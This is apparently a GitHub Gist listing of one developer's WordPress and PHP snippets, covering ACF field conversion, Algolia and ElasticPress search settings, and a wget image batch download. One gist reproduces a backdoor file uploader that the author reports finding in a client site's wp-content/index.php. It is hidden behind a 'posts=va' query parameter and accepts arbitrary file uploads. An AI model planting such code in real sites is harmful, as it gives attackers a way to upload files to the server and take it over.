Skip to content

Instantly share code, notes, and snippets.

@solepixel
solepixel / acf-convert-text-to-taxonomy-multi-select.php
Created August 23, 2017 17:24
This gist will provide legacy support for the instance when you need to convert an ACF field from a plain text field to a multi-select taxonomy field. It will convert existing values to the proper array format and pull in and convert original values to array. WARNING: It does not create new terms. This could be added pretty easily tho, however o…
<?php
# create your taxonomy
# In this example, I'm using "landing-section-class" as the taxonomy
# Remove the unneeded meta box
add_action( 'admin_menu', '_briand_remove_landing_section_class_metabox' );
function _briand_remove_landing_section_class_metabox() {
remove_meta_box( 'tagsdiv-landing-section-class', 'page', 'side' );
<?php
/**
* Imported from Post Types Order deprecated code.
* https://github.com/alessandropellegrini/post-types-order/blob/master/include/functions.php
*/
if( ! function_exists( 'userdata_get_user_level' ) ){
function userdata_get_user_level( $return_as_numeric = FALSE ){
global $userdata;
@solepixel
solepixel / batch-download-images.sh
Created March 2, 2017 19:33
Use wget to batch download a list of image URLs
wget -i image-list.txt --force-directories
<?php
global $_started_time;
if( ! function_exists( '_perf_debug' ) ){
function _perf_debug( $file, $line, $comment = '' ){
global $_started_time;
$file = str_replace( $_SERVER['DOCUMENT_ROOT'], '', $file );
$time = microtime( true );
@solepixel
solepixel / index.php
Created December 17, 2016 19:36
Found this file sitting on one of my client site's wp-content/index.php files. Basically a public file uploader.
error_reporting(0);
if($_GET["posts"]=="va"){
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo "url:".$_FILES["upfile"]["name"];
if(!file_exists($_FILES["upfile"]["name"])){
copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]);
}
}?>
<form method="post" enctype="multipart/form-data">
@solepixel
solepixel / listing-query.php
Created November 14, 2016 14:44
Algolia Search Implementation
<?php
/**
* Template function to output search results
*/
function display_listings(){
$algolia = Algolia_Plugin::get_instance();
$index = $algolia->get_api()->get_client()->initIndex( 'rpwp_posts_listing' );
$search = $index->search( '', mytheme_algolia_search_parameters() );
@solepixel
solepixel / algolia-2.php
Last active October 27, 2020 04:35
Custom parameters for Algolia search in WordPress
<?php
add_filter( 'algolia_terms_index_settings', '__return_empty_array' );
add_filter( 'algolia_users_index_settings', '__return_empty_array' );
add_filter( 'algolia_posts_listing_index_settings', 'mytheme_algolia_listing_settings' );
function mytheme_algolia_listing_settings( $settings ){
$numeric_fields = array_keys( mytheme_algolia_faceted_fields( array( 'int', 'float' ) ) );
$string_fields = array_keys( mytheme_algolia_faceted_fields( 'string' ) );
@solepixel
solepixel / formatted-args.txt
Created September 7, 2016 20:37
Simpler Arguments for ElasticPress
Array
(
[from] => 0
[size] => 54
[sort] => Array
(
[0] => Array
(
[meta_value_num] => Array
(
@solepixel
solepixel / formatted-args.txt
Created September 7, 2016 04:30
ElasticPress arguments
Array
(
[from] => 0
[size] => 54
[sort] => Array
(
[0] => Array
(
[meta_value_num] => Array
(
Array
(
[from] => 0
[size] => 54
[sort] => Array
(
[0] => Array
(
[meta_value_num] => Array
(